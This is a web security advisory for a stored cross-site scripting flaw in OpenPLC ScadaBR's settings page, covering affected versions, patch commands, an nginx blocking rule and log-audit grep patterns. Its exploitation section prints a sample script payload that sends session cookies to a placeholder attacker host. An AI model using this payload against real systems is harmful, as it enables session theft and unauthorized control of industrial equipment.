CVE DatabaseCVE-2021-26829
한국어 권고문 →
CVE-2021-268295.4/MEDIUMCISA KEVCWE-79

OpenPLC ScadaBR Stored Cross-Site Scripting (XSS) Vulnerability (CVE-2021-26829) Security Advisory

⚡ Jump to Patch
Affected Vendors
openplc
Affected Components
scadabr
Published Date
2021-06-11
CVSS v3.1
5.4
MEDIUM
EPSS (30d)
48.0%
FIRST.org
CISA KEV
Exploited

Executive & SecOps Summary

SECOPS ASSESSMENT
Affected Scope

OpenPLC ScadaBR through version 0.9.1 on Linux and through version 1.12.4 on Windows

Impact

Attackers can inject malicious scripts permanently via system_settings.shtm, leading to administrator session hijacking and unauthorized SCADA control

Mitigation

Apply the latest security patches, restrict external access, and deploy Web Application Firewall (WAF) rules to sanitize input parameters

Affected Products & Version Scope

OpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

It is highly recommended to upgrade ScadaBR to the latest secure release provided by the OpenPLC community. Below is an example of pulling the latest updates and rebuilding the environment on Linux:

bash
# Navigate to the OpenPLC directory and pull the latest secure codebase
cd /opt/OpenPLC_v3
git pull origin main

# Re-run the installation script to apply updates
sudo ./install.sh

2. Temporary Workaround & Hardening Configuration

If immediate patching is not feasible, deploy a reverse proxy (such as Nginx) or a Web Application Firewall (WAF) in front of ScadaBR to filter out malicious payloads targeting system_settings.shtm.

nginx
# Nginx configuration snippet to block basic XSS attempts
server {
    listen 80;
    server_name scadabr.local;

    location / {
        # Block requests containing script tags in the URI
        if ($request_uri ~* '(<|%3C).*script.*(>|%3E)') {
            return 403 'XSS Attempt Blocked';
        }
        proxy_pass http://127.0.0.1:8080;
    }
}

3. Log Audit & IoC Verification Commands

Inspect the web server access logs (e.g., Tomcat or Jetty logs) for suspicious POST requests directed at system_settings.shtm containing script tags or encoded characters.

bash
# Audit Tomcat access logs for potential XSS payloads targeting system_settings.shtm
grep -i 'system_settings.shtm' /var/log/tomcat*/localhost_access_log*.txt | grep -E '(<|%3C|script|%73%63%72%69%70%74)'
Interactive SecOps Remediation Checklist
0/4 (0%)
Recommended Security Control & Mitigation Partner
Cloudflare Enterprise & Pro WAF
As this vulnerability is actively exploited (CISA KEV), immediately apply the latest patches or restrict network access to the SCADA interface.

Block Exploits Instantly with Managed Virtual Patching Rules

Can't patch production immediately? Deploy managed WAF rules at the edge to intercept RCE, SQLi, and deserialization payloads before they hit your origin server.

3-min setup · Automated Zero-Day Managed Rules
Practice Exploiting & Patching This Web Vulnerability in an Interactive Lab
Launch Hands-On Security Lab

Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2021-26829) is a Stored Cross-Site Scripting (XSS) vulnerability located in the system_settings.shtm page of OpenPLC ScadaBR. The root cause is the application's failure to properly sanitize and HTML-encode user-supplied input within the system settings fields before storing it in the backend database. When other users subsequently view the settings page, the unsanitized input is rendered directly by the browser.

2. Exploitation Mechanics & Attack Scenario

An authenticated attacker with low privileges or one who has compromised a settings-modifying account can submit a malicious JavaScript payload (e.g., <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>) into the input fields of system_settings.shtm. Once saved, the payload is persistently stored. When an administrator or high-privileged user accesses the system settings page, the script executes automatically within their browser session. This allows the attacker to hijack active session cookies or perform unauthorized administrative actions, including sending arbitrary control commands to connected PLCs.

3. Infrastructure & Business Impact

ScadaBR is a critical SCADA software component used to monitor and control PLCs in Industrial Control Systems (ICS/OT) environments. This vulnerability is highly critical and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Successful exploitation could allow threat actors to gain full control over the SCADA interface, potentially leading to unauthorized process modifications, physical equipment damage, or severe operational downtime.

Official Vendor Advisories & References

Frequently Asked SecOps Questions (CVE-2021-26829)

FAQ

Q1. How critical is CVE-2021-26829 and is it actively exploited in the wild?

CVE-2021-26829 is rated CVSS 5.4 (MEDIUM) with a 30-day EPSS exploitation probability of 48.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2021-26829?

Primary impacted vendors include openplc across scadabr. Scope summary: OpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows

Q3. What temporary mitigations or workarounds exist for CVE-2021-26829 before patching?

[Mitigation] Apply the latest security patches, restrict external access, and deploy Web Application Firewall (WAF) rules to sanitize input parameters Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION

Generate an Internal Engineering Notice or CISO Report for CVE-2021-26829

Instantly format this advisory into an executive CISO summary or engineering patch ticket.

Generate Report →

🔗 Related Advisories in Similar Stack (openplc)

View Category →
SecOps Advisory Dispatch & RSS Feed

Subscribe to Daily Vulnerability Briefings & KEV Alerts

Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.

Slack / Teams / RSS Feed:
PatchKO
CVE-2021-26829 OpenPLC ScadaBR Stored Cross-Site Scripting (XSS) Vulnerability (CVE-2021-26829) Security Advisory (CVSS 5.4) - Patch & Workaround | CVE Pulse